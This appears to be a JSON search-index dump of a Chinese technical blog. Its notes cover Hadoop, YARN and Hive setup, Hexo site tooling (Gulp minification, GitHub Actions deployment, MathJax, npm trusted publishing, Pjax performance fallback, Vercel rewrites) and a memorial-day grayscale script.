outputformat job.setOutputFormatClass(TextOutputFormat.class); //输出路径输出到 hdfs 上面去，表示我打包到集群上面去运行 // TextOutputFormat.setOutputPath(job,new Path(\"hdfs://node01:8020/wordcountout\")); //使用本地模式来运行 TextOutputFormat.setOutputPath(job,new Path(\"file:///F:\\\\output\")); //提交我们的任务 boolean b = job.waitForCompletion(true); return b?0:1; } public static void main(String[] args) throws Exception { Configuration configuration = new Configuration(); //提交我们的 job 任务 //任务完成之后，返回一个状态码值，如果状态码值是 0，表示程序运 行成功 int run = ToolRunner.run(configuration, new JobMain(), args); System.exit(run); }} 提醒：本地运行完成之后，就可以打成 jar 包放到服务器上面去运行了，实际工作当中，都是将代码打成 jar 包，开发 main 方法作为程序的入口，然后放到集群上面去运行"},{"title":"","date":"2018-10-30T02:26:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/1.html","permalink":"https://blog.mhuig.top/notes/Hexo/1","excerpt":"","text":"关于 Hexo 的文档链接 关于 Hexo 的文档链接 Hexo 生态的核心文档与资源分布在官方指南、热门主题社区和第三方教程中。 官方核心资源Hexo 官方文档（中文支持）：涵盖安装、配置、命令详解等基础操作，是所有开发者的起点。无论是初始化博客（hexo init）还是部署流程，官方指南都提供权威说明。 https://hexo.io/zh-cn/docs/ Volantis 主题官方文档： https://volantis.js.org 问题排查与社区GitHub Issues：Hexo 核心仓库的Issues 区和 Volantis 主题仓库的 Issues 区，是解决问题的首选。 Stack Overflow：搜索关键词 hexo + 问题描述，例如 hexo deploy 404 error，通常能找到现成解决方案。"},{"title":"","date":"2018-10-30T02:27:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/2.html","permalink":"https://blog.mhuig.top/notes/Hexo/2","excerpt":"","text":"使用 Gulp 对 Hexo 静态资源进行压缩 使用 Gulp 对 Hexo 静态资源进行压缩 资源依赖使用 npm install --save-dev 安装依赖包。 package.json\"devDependencies\": { \"@babel/core\": \"^7.28.4\", \"@babel/preset-env\": \"^7.28.3\", \"gulp\": \"^5.0.1\", \"gulp-babel\": \"^8.0.0\", \"gulp-clean-css\": \"^4.3.0\", \"gulp-html-minifier-terser\": \"^7.1.0\", \"gulp-htmlclean\": \"^2.7.22\", \"gulp-htmlmin\": \"^5.0.1\", \"gulp-sourcemaps\": \"^3.0.0\", \"gulp-terser\": \"^2.1.0\" } 压缩 CSS 文件// 压缩css文件const minify_css = () => ( gulp.src(['./public/**/*.css', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(sourcemaps.init()) .pipe(cleanCSS({ compatibility: 'ie8' })) .pipe(sourcemaps.write('./maps')) .pipe(gulp.dest('./public'))); 压缩 JS 文件// 压缩html文件const minify_html = () => ( gulp.src(['./public/**/*.html', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(htmlclean()) .pipe(htmlmin({ removeComments: true, minifyJS: true, minifyCSS: true, minifyURLs: true, })) .pipe(gulp.dest('./public'))) 压缩 HTML 文件// 压缩html文件const minify_html = () => ( gulp.src(['./public/**/*.html', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(htmlclean()) .pipe(htmlmin({ removeComments: true, minifyJS: true, minifyCSS: true, minifyURLs: true, })) .pipe(gulp.dest('./public'))) 调用gulp.task('minify', gulp.parallel( minify_html, minify_css, minify_js))gulp.task('default', gulp.series('minify')); 完整压缩脚本gulpfile.jsconst gulp = require('gulp');const cleanCSS = require('gulp-clean-css');const htmlmin = require('gulp-html-minifier-terser');const htmlclean = require('gulp-htmlclean');const terser = require('gulp-terser');const sourcemaps = require('gulp-sourcemaps');const babel = require('gulp-babel');// 压缩css文件const minify_css = () => ( gulp.src(['./public/**/*.css', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(sourcemaps.init()) .pipe(cleanCSS({ compatibility: 'ie8' })) .pipe(sourcemaps.write('./maps')) .pipe(gulp.dest('./public')));// 压缩html文件const minify_html = () => ( gulp.src(['./public/**/*.html', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(htmlclean()) .pipe(htmlmin({ removeComments: true, minifyJS: true, minifyCSS: true, minifyURLs: true, })) .pipe(gulp.dest('./public')))// 压缩js文件const minify_js = () => ( gulp.src(['./public/**/*.js', '!./public/**/*.min.js', '!./public/{lib,lib/**}', '!./public/{libs,libs/**}', '!./public/{media,media/**}']) .pipe(sourcemaps.init()) .pipe(babel({ presets: ['@babel/preset-env'] })) .pipe(terser({ ecma: 2015, ie8: true, safari10: true, output: { comments: false } })) .pipe(sourcemaps.write('./maps')) .pipe(gulp.dest('./public')))gulp.task('minify', gulp.parallel( minify_html, minify_css, minify_js))gulp.task('default', gulp.series('minify')); 相关文档参考文档： gulp gulp-html-minifier-terser gulp-htmlclean gulp-htmlmin gulp-clean-css gulp-terser gulp-sourcemaps gulp-babel"},{"title":"","date":"2019-09-19T08:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/yarn.html","permalink":"https://blog.mhuig.top/notes/Hadoop/yarn","excerpt":"","text":"Yarn 资源调度 大数据处理技术 -Hadoop-Yarn 资源调度 yarn 集群的监控管理界面：http://192.168.52.100:8088/clusterjobHistoryServer 查看界面：http://192.168.52.100:19888/jobhistory yarn 的介绍yarn 是 hadoop 集群当中的资源管理系统模块，从 hadoop2.x 开始引入 yarn 来进 行管理集群当中的资源（主要是服务器的各种硬件资源，包括 CPU，内存，磁盘，网络 IO 等）以及运行在 yarn 上面的各种任务。总结一句话就是说：yarn 主要就是为了调度资源，管理任务等其调度分为两个层级来说： 一级调度管理： 计算资源管理 (CPU, 内存，网络 IO，磁盘) 硬件的资源 App 生命周期管理（每一个应用执行的情况，都需要汇报给 ResourceManager） 二级调度管理： App 内部的计算模型管理 (AppMaster 的任务精细化管理) job 任务 多样化的计算模型 yarn 的官网文档说明：http://hadoop.apache.org/docs/r2.7.5/hadoop-yarn/hadoop-yarn-site/YARN.html Yarn 的主要组件介绍与作用yarn 当中的各个主要组件的介绍ResourceManager：yarn 集群的主节点，主要用于接收客户端提交的任务，并对任务进行分配。NodeManager：yarn 集群的从节点，主要用于任务的计算ApplicationMaster： 当 有 新 的 任 务 提 交 到 ResourceManager 的 时候，ResourceManager 会在某个从节点 nodeManager 上面启动一个 ApplicationMaster 进程，负责这个任务执行的资源的分配，任务的生命周期的监控等Container：资源的分配单位，ApplicationMaster 启动之后，与 ResourceManager 进行通信，向 ResourceManager 提出资源申请的请求，然后 ResourceManager 将资源分配给 ApplicationMaster，这些资源的表示，就是一个个的 container JobHistoryServer：这是 yarn 提供的一个查看已经完成的任务的历史日志记录的服务，我们可以启动 jobHistoryServer 来观察已经完成的任务的所有详细日志信息TimeLineServer：hadoop2.4.0 以后出现的新特性，主要是为了监控所有运行在 yarn 平台上面的所有任务（例如 MR，Storm，Spark，HBase 等等） yarn 的发展历程以及详细介绍：https://www.ibm.com/developerworks/cn/opensource/os-cn-hadoop-yarn/ yarn 当中各个主要组件的作用resourceManager 主要作用： 处理客户端请求 启动 / 监控 ApplicationMaster 监控 NodeManager 资源分配与调度 NodeManager 主要作用： 单个节点上的资源管理和任务管理 接收并处理来自 resourceManager 的命令 接收并处理来自 ApplicationMaster 的命令 管理抽象容器 container 定时向 RM 汇报本节点资源使用情况和各个 container 的运行状态 ApplicationMaster 主要作用： 数据切分 为应用程序申请资源 任务监控与容错 负责协调来自 ResourceManager 的资源，开通 NodeManager 监视容的执 行和资源使用（CPU, 内存等的资源分配） Container 主要作用： 对任务运行环境的抽象 任务运行资源（节点，内存，cpu） 任务启动命令 任务运行环境 yarn 的架构 yarn 当中的调度器yarn 我们都知道主要是用于做资源调度，任务分配等功能的，那么在 hadoop 当中，究竟使用什么算法来进行任务调度就需要我们关注了，hadoop 支持好几种任务的调度方式，不同的场景需要使用不同的任务调度器 FIFO Scheduler第一种调度器：FIFO Scheduler （队列调度器） 把应用按提交的顺序排成一个队列，这是一个先进先出队列，在进行资源分配的时候，先给队列中最头上的应用进行分配资源，待最头上的应用需求满足后再给下一个分配，以此类推。FIFO Scheduler 是最简单也是最容易理解的调度器，也不需要任何配置，但它并不适用于共享集群。大的应用可能会占用所有集群资源，这就导致其它应用被阻塞。在共享集群中，更适合采用 Capacity Scheduler 或 Fair Scheduler，这两个调度器都允许大任务和小任务在提交的同时获得一定的系统资源。 Capacity Scheduler第二种调度器：capacity scheduler（容量调度器，apache 版本默认使用的调度器） Capacity 调度器允许多个组织共享整个集群，每个组织可以获得集群的一部分计算能力。通过为每个组织分配专门的队列，然后再为每个队列分配一定的集群资源，这样整个集群就可以通过设置多个队列的方式给多个组织提供服务了。除此之外，队列内部又可以垂直划分，这样一个组织内部的多个成员就可以共享这个队列资源了，在一个队列内部，资源的调度是采用的是先进先出 (FIFO) 策略。 Fair Scheduler第三种调度器：Fair Scheduler（公平调度器，CDH 版本的 hadoop 默认使用的调度器） Fair 调度器的设计目标是为所有的应用分配公平的资源（对公平的定义可以通过参数来设置）。公平调度在也可以在多个队列间工作。举个例子，假设有两个用户 A 和 B，他们分别拥有一个队列。当 A 启动一个 job 而 B 没有任务时，A 会获得全部集群资源；当 B 启动一个 job 后，A 的 job 会继续运行，不过一会儿之后两个任务会各自获得一半的集群资源。如果此时 B 再启动第二个 job 并且其它 job 还在运行，则它将会和 B 的第一个 job 共享 B 这个队列的资源，也就是 B 的两个 job 会用于四分之一的集群资源，而 A 的 job 仍然用于集群一半的资源，结果就是资源最终在两个用户之间平等的共享 使用哪种调度器取决于 yarn-site.xml 当中的 yarn.resourcemanager.scheduler.class 这个属性的配置 yarn 常用参数设置 第一个参数：container 分配最小内存yarn.scheduler.minimum-allocation-mb 1024给应用程序 container 分配的最小内存 第二个参数：container 分配最大内存yarn.scheduler.maximum-allocation-mb 8192给应用程序 container 分配的最大内存 第三个参数：每个 container 的最小虚拟内核个数yarn.scheduler.minimum-allocation-vcores 1每个 container 默认给分配的最小的虚拟内核个数 第四个参数：每个 container 的最大虚拟内核个数yarn.scheduler.maximum-allocation-vcores 32每个 container 可以分配的最大的虚拟内核的个数 第五个参数：nodeManager 可以分配的内存大小yarn.nodemanager.resource.memory-mb 8192nodemanager 可以分配的最大内存大小，默认 8192Mb 在我们浏览 yarn 的管理界面的时候会发现一个问题 我们可以在 yarn-site.xml 当中修改以下两个参数来改变默认值 定义每台机器的内存使用大小yarn.nodemanager.resource.memory-mb 8192 定义每台机器的虚拟内核使用大小yarn.nodemanager.resource.cpu-vcores 8 定义交换区空间可以使用的大小（交换区空间就是讲一块硬盘拿出来做内存使用）这里指定的是 nodemanager 的 2.1 倍yarn.nodemanager.vmem-pmem-ratio 2.1"},{"title":"","date":"2018-10-30T02:28:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/3.html","permalink":"https://blog.mhuig.top/notes/Hexo/3","excerpt":"","text":"使用 Github Actions 部署 Hexo 使用 Github Actions 部署 Hexo 事件触发器on: workflow_dispatch: push: branches: - main 检出仓库分支源码- name: Checkout Repository main branch uses: actions/checkout@v3 with: submodules: \"true\" 安装 Node.js- name: Setup Node.js 24.x uses: actions/setup-node@main with: node-version: 24 registry-url: https://registry.npmjs.org 安装部署密钥- name: Setup Deploy Private Key env: DEPLOY_KEY: ${{ secrets.TOKEN }} NAME: ${{ secrets.NAME }} EMAIL: ${{ secrets.EMAIL }} run: | mkdir -p ~/.ssh/ echo \"$DEPLOY_KEY\" > ~/.ssh/id_rsa chmod 600 ~/.ssh/id_rsa ssh-keyscan github.com >> ~/.ssh/known_hosts git config --global user.email \"$EMAIL\" git config --global user.name \"$NAME\" 缓存 node modules- name: Cache node modules uses: actions/cache@v4 id: cache with: path: node_modules key: ${{ runner.os }}-node-${{ hashFiles('**/package.json') }} restore-keys: | ${{ runner.os }}-node- 安装依赖- name: Install Dependencies if: steps.cache.outputs.cache-hit != 'true' run: | npm install 生成站点静态资源- name: Generate Public Files run: | # Restore last modified time git ls-files -z | while read -d '' path; do touch -d \"$(git log -1 --format=\"@%ct\" \"$path\")\" \"$path\"; done hexo clean && hexo g 部署到 Github Pages- name: Deploy Github uses: peaceiris/actions-gh-pages@v3 with: deploy_key: ${{ secrets.TOKEN }} publish_dir: ./public user_name: \"github-actions[bot]\" user_email: \"github-actions[bot]@users.noreply.github.com\" external_repository: XXX/XXX.github.io publish_branch: main 完整 Actions 脚本.github/workflows/DeployToGithubPages.ymlname: Deploy To Github Pageson: workflow_dispatch: push: branches: - mainjobs: deploy: if: ${{ contains(github.event.head_commit.message, 'draft')!= true }} name: Deploy Hexo Public To Pages runs-on: ubuntu-latest env: TZ: Asia/Shanghai steps: - name: Checkout Repository main branch uses: actions/checkout@v3 with: submodules: \"true\" - name: Setup Node.js 24.x uses: actions/setup-node@main with: node-version: 24 registry-url: https://registry.npmjs.org - name: Setup Deploy Private Key env: DEPLOY_KEY: ${{ secrets.TOKEN }} NAME: ${{ secrets.NAME }} EMAIL: ${{ secrets.EMAIL }} run: | mkdir -p ~/.ssh/ echo \"$DEPLOY_KEY\" > ~/.ssh/id_rsa chmod 600 ~/.ssh/id_rsa ssh-keyscan github.com >> ~/.ssh/known_hosts git config --global user.email \"$EMAIL\" git config --global user.name \"$NAME\" - name: Install Globel Dependencies run: | npm install hexo-cli -g - name: Cache node modules uses: actions/cache@v4 id: cache with: path: node_modules key: ${{ runner.os }}-node-${{ hashFiles('**/package.json') }} restore-keys: | ${{ runner.os }}-node- - name: Install Dependencies if: steps.cache.outputs.cache-hit != 'true' run: | npm install - name: Generate Public Files run: | # Restore last modified time git ls-files -z | while read -d '' path; do touch -d \"$(git log -1 --format=\"@%ct\" \"$path\")\" \"$path\"; done hexo clean && hexo g - name: Deploy Github uses: peaceiris/actions-gh-pages@v3 with: deploy_key: ${{ secrets.TOKEN }} publish_dir: ./public user_name: \"github-actions[bot]\" user_email: \"github-actions[bot]@users.noreply.github.com\" external_repository: XXX/XXX.github.io publish_branch: main 相关文档https://docs.github.com/zh/actions"},{"title":"","date":"2018-10-30T02:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/4.html","permalink":"https://blog.mhuig.top/notes/Hexo/4","excerpt":"","text":"Open Search Open Search 第一步用本站举例：先在浏览器地址栏输入本站的域名 第二步按 Tab 键 第三步输入值就能进行搜索了 相关文档https://developer.mozilla.org/zh-CN/docs/Web/XML/Guides/OpenSearch"},{"title":"","date":"2018-10-24T02:29:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/5.html","permalink":"https://blog.mhuig.top/notes/Hexo/5","excerpt":"","text":"如何在 Volantis 主题上优雅地书写数学公式 如何在 Volantis 主题上优雅地书写数学公式 数学公式渲染引擎选择MathJax 方案（兼容性优先）适合需要完整 LaTeX 支持的场景，尤其推荐用于学术类内容。 KaTeX 方案（性能优先）适合追求加载速度的场景，KaTeX 渲染速度比 MathJax 快约 60%，但对部分复杂公式支持有限。 Volantis 主题内置前端渲染方案Volantis 6 中在 front-matter 中配置页面插件... 即可。 front-matter---plugins: - mathjax - katex--- 例如： example.md:---title: 渲染公式（MathJax）date: 2025-10-25plugins: - mathjax---添加一段描述性文字<!-- more -->$$\\eta(s) = (1-2^{1-s})\\zeta(s)$$ 数学公式的语法冲突这里以 Mathjax 为例： Mathjax 与 Markdown 的语法冲突MathJax 与 Markdown 的语法冲突源于两者部分符号的语义重叠，如 _（Markdown 斜体 vs LaTeX 下标）、*（Markdown 粗体 vs LaTeX 星号）和 \\（Markdown 转义符 vs LaTeX 命令前缀）。例如，公式 x_i 可能被 Markdown 引擎误解析为 <em>i</em> 标签，导致 MathJax 无法识别。 一种方法是使用 \\ 转义这些冲突的部分符号。例如：对于多行公式中的换行 \\\\ ，需要转义成 \\\\\\\\ 。 另一种方法是逆向渲染流程，先让 MathJax 解析公式，再用 Markdown 引擎处理文本。由于理论上 MathJax 生成的 HTML 不含 Markdown 语法，可从根本上避免冲突。 还有一种方案是修改 Markdown 引擎规则，移除语义重叠的部分。 极端的方案是直接使用图片。 Mathjax 与 Nunjucks 的语法冲突Nunjucks 是 Hexo 内置的模板语法。 Nunjucks 模板引擎与 MathJax 的语法冲突主要源于两者对特殊字符的解析规则重叠。 符号优先级冲突： MathJax 的 _（下标）和 ^（上标）会被 Nunjucks 误认为模板语法的一部分。例如 x_i 可能被解析为变量 i 的属性，而非数学符号 x_i 。类似地， \\frac{1}{2} 中的反斜杠可能被 Nunjucks 转义为普通字符，导致 MathJax 无法识别分式结构。 模板变量标识符冲突： MathJax 的某些分隔符（如 `$$..$$` ）虽然与 Nunjucks 的 `{{ }}` 不直接重叠，但复杂公式中嵌套的大括号 `{ }` 可能触发模板引擎的语法检查错误，尤其在未正确转义时。 一种解决方法是加空格，例如在两个连续的大括号之间加入空格。 另一种解决方法是在公式前后添加 Nunjucks 的 raw 标签，使模板引擎跳过对中间内容的解析： {% raw %}$$ E=mc^2 $$ <!-- 不受 Nunjucks 影响的公式 -->{% endraw %} 这种解决方法适用于单页少量公式，无需修改全局配置。缺点是侵入式语法，降低文档可移植性。 第三方插件数学公式渲染器的选择第三方数学公式渲染器插件需要配套使用对应的 markdown 渲染器才能解决语义重叠冲突的问题。 以下是推荐的组合： marked对于 hexo-renderer-marked 配套使用 hexo-xmath 。 或者直接使用懒人包 hexo-xm ，开箱即用。 pandoc对于 hexo-renderer-pandoc 配套使用 hexo-filter-mathjax 。 使用 pandoc 正确渲染多行 MathJax 公式 markdown-it对于 hexo-renderer-markdown-it-plus 配套使用 @iktakahiro/markdown-it-katex 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New tokens will be limited to a maximum lifetime of 90 days, and TOTP setup will be disabled. Classic tokens will be revoked in November. Update your CI/CD workflows to avoid disruption. Learn more: https://gh.io/npm-token-changes Important security changes to npm authentication take effect October 13,2025. New token lifetime limits (90-day max ) and TOTP 2FA restrictions become effective . Classic tokens will be revoked in November . Review changes and update your workflows now . Learn more: https://github.blog/changelog/2025-09-29-strengthening-npm-security-important-changes-to-authentication-and-token-management/ . 为了解决 npm 令牌泄露导致的问题，npm 最近的一次安全系统更新，将逐渐弃用之前的经典令牌和 TOTP 2FA。 Trusted publishing allows you to publish npm packages directly from your CI/CD workflows using OpenID Connect (OIDC) authentication, eliminating the need for long-lived npm tokens. This feature implements the trusted publishers industry standard specified by the Open Source Security Foundation (OpenSSF), joining a growing ecosystem including PyPI, RubyGems, and other major package registries in offering this security enhancement. 受信任发布允许你使用 OpenID Connect (OIDC) 身份验证直接从你的 CI / CD 工作流程中发布 npm 包，无需使用长寿命的 npm 令牌。此功能实现了 Open Source Security Foundation (OpenSSF) 指定的受信任发布者行业标准，加入了包括 PyPI、RubyGems 和其他主要包注册中心的不断增长的生态系统，提供这种安全增强功能。 注意：可信发布需要 npm CLI 版本 11.5.1 或更高版本。 笔者在写这篇文章的时候已经删除了 npm 上全部的令牌，并使用 OIDC 进行 Trusted Publisher 实现 npm 包的可信发布，以下是配置方式。 在 npmjs.com 上添加受信任的发布商导航到 npmjs.com 上的包设置（Settings）并找到 “受信任的发布者”（Trusted Publisher）部分。在 “选择您的发布者”（Select your publisher）下，通过单击 GitHub Actions 或 GitLab CI/CD 按钮来选择您的 CI/CD 提供程序。 示例： Publisher 选择 Github Actions Organization or user 填写 MyGithubUserName Repository 填写 MyRepository Workflow filename 填写 npm-publish.yml 点击 Set up connection 完成配置 之后需要配置 Github Actions。 完整 Github Actions 工作流配置示例其中比较关键的配置是需要给 GitHub Action 添加 id-token 权限，否则无法生成 OIDC 令牌。 其次是 npm CLI 的版本需要在 11.5.1 版本或以上。 .github/workflows/npm-publish.ymlname: npm-publishon: workflow_dispatch: # release: # types: [published]permissions: id-token: write # 需要给 GitHub Action 添加 id-token 权限，否则无法生成 OIDC 令牌 # packages: write # contents: write # issues: write # pull-requests: writejobs: npm-publish: name: npm-publish runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v4 - name: Set up Node.js uses: actions/setup-node@v4 with: node-version: 24 # npm CLI 的版本需要在 11.5.1 版本或以上才支持 OIDC registry-url: https://registry.npmjs.org - name: Publish run: | npm publish# 不再需要配置 NPM TOKEN# env:# NODE_AUTH_TOKEN: ${{ secrets.npm_token }} 相关文档https://docs.npmjs.com/trusted-publishers"},{"title":"","date":"2025-11-12T22:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hexo/7.html","permalink":"https://blog.mhuig.top/notes/Hexo/7","excerpt":"","text":"Pjax 性能问题的降级处理 Pjax 性能问题的降级处理 问题对于 Hexo volantis 5 主题，使用的 MoOx/pjax (七年前的包已归档)。 长时间停留后 Pjax 页面卡顿。 连续点击站内链接 50 次以上，Pjax 页面跳转显著变慢。 原因分析这通常是由于资源重复加载、内存泄漏或事件监听器累积导致的性能衰减。未正确清理资源或内存泄漏导致的累积效应。 Pjax 技术通过 Ajax 局部更新页面内容并配合 History API 修改 URL，避免了整页刷新的性能损耗，但也因此需要特别注意资源管理。 重复请求与缓存问题pjax 依赖 AJAX 加载 HTML 片段，如果未正确配置缓存策略，每次点击都会重复请求相同资源（如 CSS / JS），累计 50 次后网络请求堆积，响应延迟逐渐增加。 DOM 节点与内存泄漏pjax 替换页面内容时，若旧 DOM 元素未被彻底清理（尤其是绑定了事件监听器的元素），会导致内存占用持续增长，最终拖慢页面响应速度。 事件监听器累积如果在 pjax:success 等事件中重复绑定事件（如 click、scroll），而未在 pjax:send 时解绑，会导致事件处理器数量呈指数级增长，触发性能瓶颈。 解决方案重复请求与缓存问题window.stop() 关闭请求 document.addEventListener('pjax:send', function (e) { window.stop(); // 相当于点击了浏览器的停止按钮}); DOM 节点与内存泄漏动态创建的 DOM 元素若被 JavaScript 变量长期引用（如存储在全局数组中），即使已从页面移除也不会被垃圾回收。Pjax 的频繁 DOM 替换会加剧这种泄漏。检测：使用 Chrome DevTools 的 Memory 面板，对比多次 Pjax 切换前后的内存快照，寻找持续增长的 DOM 节点或 JS 对象。 解决：避免全局缓存动态 DOM，使用 WeakMap / WeakSet 存储临时引用。 事件监听器堆积Pjax 每次更新会替换 DOM 内容，但原有的事件监听器（如 click、scroll）若未解绑，会持续驻留内存并重复触发。 解决：在 Pjax 生命周期钩子中清理： document.addEventListener('pjax:send', function () { document.removeEventListener(\"click\", MyClickFunction, false)}); 注意事项: 移除监听器时，必须提供与添加监听器时相同的参数，包括事件类型、监听器函数和配置对象或 useCapture 参数。 性能监控与降级控制实际上，完美的解决方案并不存在。例如 giscus 评论系统存在一个内置的匿名函数监听器没有办法在 Pjax 更新前移除，导致监听器不断累积持续占用浏览器内存。而我们有没有办法完全控制第三方插件的行为。 没有银弹 解决思路是通过监控每次 pjax 请求的实际耗时，当连续多次请求超过阈值时，自动降级为传统页面跳转。以下是具体实现方案： // 性能监控与降级控制const performanceMonitor = { slowThreshold: 800, // 慢请求阈值(毫秒) slowCount: 0, // 连续慢请求计数 maxSlowAllowed: 2, // 允许的最大连续慢请求数 requestStartTime: 0, // 请求开始时间戳 // 记录请求开始时间 start() { this.requestStartTime = Date.now(); }, // 计算请求耗时并判断 check() { const duration = Date.now() - this.requestStartTime; if (duration > this.slowThreshold) { this.slowCount++; } else { this.slowCount = 0; // 耗时正常，重置计数 } }, // 测试结果 res(){ // 连续慢请求达到阈值，强制刷新 if (this.slowCount >= this.maxSlowAllowed) { return true; // 需要降级 } return false; // 无需降级 }};var pjax;document.addEventListener('DOMContentLoaded', function () { pjax = new Pjax({ elements: 'a[href]', // 这里的 selectors 需要保证每个页面都含有相同的数目 selectors: [ \"head title\", \"head meta[name=keywords]\", \"head meta[name=description]\", ], cacheBust: false, // url 地址追加时间戳，用以避免浏览器缓存 timeout: 2000, debug: true });});document.addEventListener('pjax:send', function (e) { performanceMonitor.start(); // 请求开始计时 var currentUrl = window.location.pathname; var targetUrl = e.triggerElement.href; if (performanceMonitor.res()){ window.location.href = targetUrl; }});document.addEventListener('pjax:complete', function () { // 降级控制检测 performanceMonitor.check()}); 性能阈值设计通过 slowThreshold（800ms）定义正常请求耗时上限，连续 maxSlowAllowed（2 次）超过该值即触发降级。该参数可根据服务器实际响应速度调整，建议通过真实用户监控 (RUM) 数据优化阈值。 事件生命周期利用借助 pjax 提供的 pjax:send 和 pjax:complete 事件，精确测量每次请求耗时。当检测到性能恶化时，通过 window.location.href 强制跳转，绕过 pjax 流程。 结语通过这种 \"监控 - 降级\" 机制，既能保留 pjax 无刷新体验的优势，又能在性能下降时保障基本可用性。实际应用中可根据业务场景调整阈值参数，配合控制台日志分析慢请求的原因，从根本上解决性能瓶颈。"},{"title":"","date":"2025-11-21T00:40:00.000Z","updated":"2025-11-21T00:43:00.000Z","comments":true,"path":"notes/Hexo/8.html","permalink":"https://blog.mhuig.top/notes/Hexo/8","excerpt":"","text":"静态站点 URL 优化与部署配置 静态站点 URL 优化与部署配置：适配 Cloudflare Pages 和 Vercel 的路径方案解析 站点配置文件_config.ymlpretty_urls: # 改写 permalink 的值来美化 URL trailing_index: false # 是否在永久链接中保留尾部的 index.html # Set to false to remove trailing 'index.html' from permalinks trailing_html: false # 是否在永久链接中保留尾部的 .html # Set to false to remove trailing '.html' from permalinks 通过禁用尾部的 index.html 和 .html 后缀，能让链接更简洁易读，例如将 /posts/hello-world.html 转换为 /posts/hello-world。 该配置用于适配 Cloudflare Pages。因为对于 Cloudflare Pages 直接访问/posts/hello-world.html 时会强制 308 重定向跳转到 /posts/hello-world。这会影响到 SEO，实际上已经影响到本站百度的 SEO 了，本站的解决方案是放弃百度，反正笔者也不用百度，它也只能搜到广告。已注销百度账号。 Cloudflare Pages: get rid of redundat 308 redirect 2021-11 Vercel 配置文件source/vercel.json{ \"rewrites\": [ { \"source\": \"/:path*\", \"destination\": \"/:path*\" }, { \"source\": \"/:path*/\", \"destination\": \"/:path*/index.html\" }, { \"source\": \"/:path*\", \"destination\": \"/:path*.html\" } ]} 这份 vercel.json 配置通过三条重写规则解决了静态网站部署到 Vercel 时的 URL 路由问题，确保不同格式的访问路径都能正确指向对应的 HTML 文件。其核心逻辑是按照规则优先级依次匹配请求路径，最终实现对无后缀 URL、带斜杠目录及传统 HTML 文件路径的兼容处理。"},{"title":"","date":"2025-12-13T01:09:00.000Z","updated":"2025-12-13T01:10:00.000Z","comments":true,"path":"notes/Hexo/9.html","permalink":"https://blog.mhuig.top/notes/Hexo/9","excerpt":"","text":"网站纪念日自动灰屏实现方案 网站纪念日自动灰屏实现方案 该方法通过配置清明节等纪念日日期，在对应日期自动为网站首页应用 CSS 灰度滤镜。包含移除旧样式、首页检测、纪念日判断等步骤，并兼容 Pjax 页面切换，确保灰屏效果正确显示。 // 纪念日灰屏处理// 1. 精确计算清明节日期（返回{month: 4, day: 4/5/6}）function getQingmingDate() { const today = new Date(); const year = today.getFullYear(); const Y = year % 100; // 取年份后两位 const C = year >= 2000 ? 4.81 : 5.59; // 21世纪C=4.81，20世纪C=5.59 const L = Math.floor(Y / 4); // 闰年数（能被4整除的年份） const qingming = Math.floor(Y * 0.2422 + C) - L; // 结果修正：若计算值<4，则为4月4日（防止2月/3月错误） return { month: 4, day: Math.max(4, qingming) };}// 2. 配置纪念日（公历日期）const memorialDays = [ { month: 12, day: 13 }, // 南京大屠杀纪念日 getQingmingDate(), // 清明节（覆盖不同年份） { month: 7, day: 7 }, // 七七事变纪念日 { month: 9, day: 18 }, // 九一八事变纪念日 { month: 9, day: 30 }, // 烈士纪念日];// 2. 灰屏逻辑核心函数（独立封装，便于多次调用）function updateMourningMode() { // 移除现有灰屏样式（避免状态残留） document.documentElement.classList.remove('mourning-mode'); // 检查是否为首页 const homePaths = ['/', '/index.html', '/index.htm', '/index']; const isHomePage = homePaths.includes(window.location.pathname); if (!isHomePage) return; // 非首页直接退出 // 检查是否为纪念日 const today = new Date(); const currentMonth = today.getMonth() + 1; // 月份从0开始，需+1 const currentDay = today.getDate(); const isMemorialDay = memorialDays.some(day => day.month === currentMonth && day.day === currentDay ); // 纪念日且为首页：应用灰屏样式 if (isMemorialDay) { document.documentElement.classList.add('mourning-mode'); }}// 3. 注入灰度样式（仅一次）const style = document.createElement('style');style.textContent = ` html.mourning-mode { filter: grayscale(100%); -webkit-filter: grayscale(100%); transition: filter 0.5s ease; }`;document.head.appendChild(style);// 4. 绑定触发时机（初始加载 + Pjax页面切换）updateMourningMode();document.addEventListener('pjax:complete', updateMourningMode); // Pjax核心兼容点"},{"title":"","date":"2018-10-30T02:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Hexo/index.html","permalink":"https://blog.mhuig.top/notes/Hexo/","excerpt":"Hexo","text":"Hexo Hexo .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hive/deploy.html","permalink":"https://blog.mhuig.top/notes/Hive/deploy","excerpt":"","text":"安装部署 Hive 安装部署 我们在此处选择第三台机器作为我们 hive 的安装机器 derby 版 hive 直接使用 解压 hivecd /export/softwarestar -zxvf hive-1.1.0-cdh5.14.0.tar.gz -C ../servers/ 直接启动 bin/hivecd /export/servers/hive-1.1.0-cdh5.14.0/bin/hivehive> create database mytest; bin/hive show databases; create database mytest; show databases; cd /export/servers/hive-1.1.0-cdh5.14.0/bin./hive show databases; 刚才创建的 mytest 呢？ create database mytest2; 缺点：多个地方安装 hive 后，每一个 hive 是拥有一套自己的元数据，大家的库、表就不统一； 使用 mysql 共享 hive 元数据mysql 数据库的安装（使用 yum 源进行安装，强烈推荐） 第一步：在线安装 mysql 相关的软件包yum install mysql 